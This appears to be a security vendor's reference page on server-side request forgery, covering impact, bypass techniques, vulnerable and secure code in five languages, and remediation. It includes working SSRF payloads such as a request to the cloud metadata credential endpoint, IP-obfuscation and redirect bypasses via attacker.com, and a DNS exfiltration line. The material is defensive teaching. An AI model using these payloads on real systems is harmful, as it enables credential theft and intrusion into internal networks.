Server-Side Request Forgery (SSRF)
Server-Side Request Forgery occurs when an attacker can make a server-side application send HTTP requests to an attacker-chosen destination, enabling access to internal services, cloud metadata, and internal networks.
What is Server-Side Request Forgery?
Server-Side Request Forgery (CWE-918) is a vulnerability where an attacker can induce a server-side application to make HTTP requests to a destination of the attacker’s choosing. The requests originate from the server itself, which means they bypass firewalls, network ACLs, and other perimeter controls that would block requests from external clients.
SSRF is dangerous because servers typically have access to:
- Internal networks — Services behind the firewall that are not directly reachable from the internet
- Cloud metadata services — AWS (
169.254.169.254), GCP, Azure metadata endpoints that expose IAM credentials, API keys, and instance configuration - Localhost services — Admin panels, databases, caches, and monitoring tools listening on
127.0.0.1 - Internal APIs — Microservices, message queues, and management endpoints
SSRF was significant enough to earn its own category in the OWASP Top 10 (A10:2021), reflecting the increasing severity of SSRF attacks in cloud-native environments.
Why it matters
SSRF has been involved in several high-profile breaches and is particularly dangerous in cloud environments:
- Capital One breach (2019) — An SSRF vulnerability in a WAF was used to access AWS metadata, steal IAM role credentials, and exfiltrate data of over 100 million customers
- Cloud credential theft — In AWS, a single SSRF request to
http://169.254.169.254/latest/meta-data/iam/security-credentials/can return temporary access keys with the instance’s IAM role permissions - Internal service discovery — SSRF can be used to port-scan internal networks, identify running services, and map infrastructure that is invisible from the outside
- Defense bypass — SSRF requests originate from a trusted server, bypassing IP allowlists, VPN requirements, and firewall rules
- Widespread attack surface — Any feature that fetches URLs (webhooks, link previews, PDF generation, file imports, avatar URLs, RSS feeds) can be an SSRF vector
How exploitation works
Basic SSRF
An application fetches a URL provided by the user (e.g., to generate a link preview):
POST /api/preview
{"url": "https://example.com/article"}
The attacker submits an internal URL instead:
POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role"}
The server fetches the cloud metadata endpoint and returns the IAM credentials to the attacker.
Bypass techniques
Attackers use various techniques to bypass URL validation:
# IP address obfuscation
http://0x7f000001/ → 127.0.0.1
http://2130706433/ → 127.0.0.1 (decimal)
http://0177.0.0.1/ → 127.0.0.1 (octal)
http://127.1/ → 127.0.0.1 (shortened)
http://[::1]/ → IPv6 localhost
# DNS rebinding
# attacker.com resolves to 127.0.0.1 after the initial DNS check
# URL parsing inconsistencies
http://attacker.com@127.0.0.1/ → userinfo as hostname confusion
http://127.0.0.1#@allowed.com → fragment confusion
# Redirect-based bypass
http://attacker.com/redirect → 302 to http://169.254.169.254/
Blind SSRF
When the response is not returned to the attacker, they can still:
# Detect internal services via response timing
url=http://internal-host:22 → slow response (SSH banner)
url=http://internal-host:8080 → fast response (HTTP service)
# Exfiltrate via DNS
url=http://$(internal-data).attacker.com/
# Trigger actions on internal services
url=http://internal-admin:8080/api/deleteAll
Vulnerable code examples
Python / Django
# VULNERABLE: User-controlled URL fetched by server
import requests
def fetch_preview(request):
url = request.POST.get('url')
response = requests.get(url) # No URL validation
return JsonResponse({'content': response.text[:500]})
C# / ASP.NET
// VULNERABLE: User-supplied URL used in HttpClient
[HttpPost("fetch")]
public async Task<IActionResult> FetchUrl([FromBody] FetchRequest req)
{
using var client = new HttpClient();
var response = await client.GetStringAsync(req.Url); // No validation
return Ok(new { content = response[..500] });
}
Java / Spring
// VULNERABLE: URL from user input
@PostMapping("/webhook/test")
public ResponseEntity<String> testWebhook(@RequestBody WebhookConfig config) {
URL url = new URL(config.getCallbackUrl());
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
// ... sends test payload to attacker-controlled URL
return ResponseEntity.ok("Webhook tested");
}
Node.js / Express
// VULNERABLE: Fetching user-provided URL
const axios = require('axios');
app.post('/api/import', async (req, res) => {
const { url } = req.body;
const response = await axios.get(url); // No URL validation
res.json({ data: response.data });
});
PHP
// VULNERABLE: file_get_contents with user URL
$url = $_POST['feed_url'];
$content = file_get_contents($url); // Can access internal services
echo $content;
Secure code examples
Python — URL validation with allowlist
# SECURE: Validate URL scheme, host, and resolved IP
import requests
import ipaddress
from urllib.parse import urlparse
import socket
ALLOWED_SCHEMES = {'http', 'https'}
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'), # Link-local / cloud metadata
ipaddress.ip_network('::1/128'),
ipaddress.ip_network('fc00::/7'),
]
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
if not parsed.hostname:
return False
# Resolve hostname and check against blocked networks
try:
resolved_ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
ip = ipaddress.ip_address(resolved_ip)
for network in BLOCKED_NETWORKS:
if ip in network:
return False
except (socket.gaierror, ValueError):
return False
return True
def fetch_preview(request):
url = request.POST.get('url')
if not is_safe_url(url):
return JsonResponse({'error': 'URL not allowed'}, status=400)
response = requests.get(url, timeout=5, allow_redirects=False)
return JsonResponse({'content': response.text[:500]})
C# — URL validation with IP check
// SECURE: Validate URL and resolved IP address
[HttpPost("fetch")]
public async Task<IActionResult> FetchUrl([FromBody] FetchRequest req)
{
if (!Uri.TryCreate(req.Url, UriKind.Absolute, out var uri))
return BadRequest("Invalid URL");
if (uri.Scheme != "http" && uri.Scheme != "https")
return BadRequest("Only HTTP(S) allowed");
// Resolve DNS and check for internal IPs
var addresses = await Dns.GetHostAddressesAsync(uri.Host);
foreach (var addr in addresses)
{
if (IPAddress.IsLoopback(addr) || IsPrivateIp(addr))
return BadRequest("Internal addresses not allowed");
}
using var client = new HttpClient();
client.Timeout = TimeSpan.FromSeconds(5);
var response = await client.GetStringAsync(uri);
return Ok(new { content = response[..Math.Min(response.Length, 500)] });
}
private static bool IsPrivateIp(IPAddress ip)
{
byte[] bytes = ip.GetAddressBytes();
return bytes[0] switch
{
10 => true,
172 => bytes[1] >= 16 && bytes[1] <= 31,
192 => bytes[1] == 168,
169 => bytes[1] == 254,
_ => false
};
}
Node.js — ssrf-req-filter or manual validation
// SECURE: Validate URL before fetching
const { URL } = require('url');
const dns = require('dns').promises;
const ipRangeCheck = require('ip-range-check');
const BLOCKED_RANGES = [
'127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
'192.168.0.0/16', '169.254.0.0/16', '::1/128'
];
async function isSafeUrl(urlStr) {
let url;
try { url = new URL(urlStr); } catch { return false; }
if (!['http:', 'https:'].includes(url.protocol)) return false;
const addresses = await dns.resolve4(url.hostname);
return addresses.every(ip => !ipRangeCheck(ip, BLOCKED_RANGES));
}
app.post('/api/import', async (req, res) => {
const { url } = req.body;
if (!(await isSafeUrl(url))) {
return res.status(400).json({ error: 'URL not allowed' });
}
const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0 // Prevent redirect-based bypass
});
res.json({ data: response.data });
});
What Offensive360 detects
Our SAST engine traces user-controlled input to HTTP request construction. We detect:
- Unvalidated URL usage — User input passed directly to
HttpClient,requests.get(),axios.get(),file_get_contents(),URL.openConnection(), and other HTTP client APIs - Incomplete validation — URL scheme checks without IP resolution, hostname allowlists without redirect following, and other partial mitigations
- Redirect following — HTTP clients configured to follow redirects, which can bypass URL validation (server validates
example.combut the redirect goes to169.254.169.254) - URL construction — Dynamic URL building with user input even when combined with a base URL
- Indirect SSRF — User input stored and later used to construct URLs (e.g., webhook URLs saved in settings)
- Protocol smuggling — Use of non-HTTP protocols (
file://,gopher://,dict://) through URL parsing
Each finding shows the taint path from user input to the HTTP request function and flags the specific risk (metadata access, internal network access, or protocol smuggling).
Remediation guidance
-
Validate and resolve before fetching — Parse the URL, resolve the hostname to an IP address, and verify the IP is not in a private/reserved range. Do this after DNS resolution to prevent DNS rebinding attacks.
-
Use allowlists over blocklists — If possible, maintain an allowlist of permitted domains or URL patterns rather than trying to block all internal ranges.
-
Disable redirects — When fetching URLs, disable automatic redirect following or re-validate the redirect target before following it.
-
Restrict URL schemes — Only allow
httpandhttps. Blockfile://,gopher://,dict://,ftp://, and other protocols. -
Use IMDSv2 on AWS — Configure AWS instances to require IMDSv2 (token-based), which mitigates SSRF-based metadata theft by requiring a PUT request to obtain a session token.
-
Network segmentation — Place application servers in a network segment that cannot reach sensitive internal services. Use a dedicated proxy or egress gateway for outbound requests.
-
Timeout and size limits — Set short timeouts and response size limits to prevent SSRF from being used for denial-of-service or large-scale data exfiltration.
False-positive considerations
Offensive360 may flag URL fetching that is safe in certain cases:
- Hardcoded URLs — If the URL is entirely a compile-time constant, there is no SSRF risk
- Internal service-to-service calls — URLs constructed from configuration (not user input) to call known internal services are not SSRF, though they may still benefit from validation
- URL from authenticated admin input — If only trusted administrators can configure webhook URLs, the risk is lower (though still present if admin accounts can be compromised)
- Validated and resolved input — If the application properly resolves DNS, checks the IP against private ranges, and disables redirects, the SSRF risk is mitigated
References
Related vulnerabilities
Detect Server-Side Request Forgery (SSRF) in your code
Run Offensive360 SAST against your codebase to find this and hundreds of other vulnerabilities.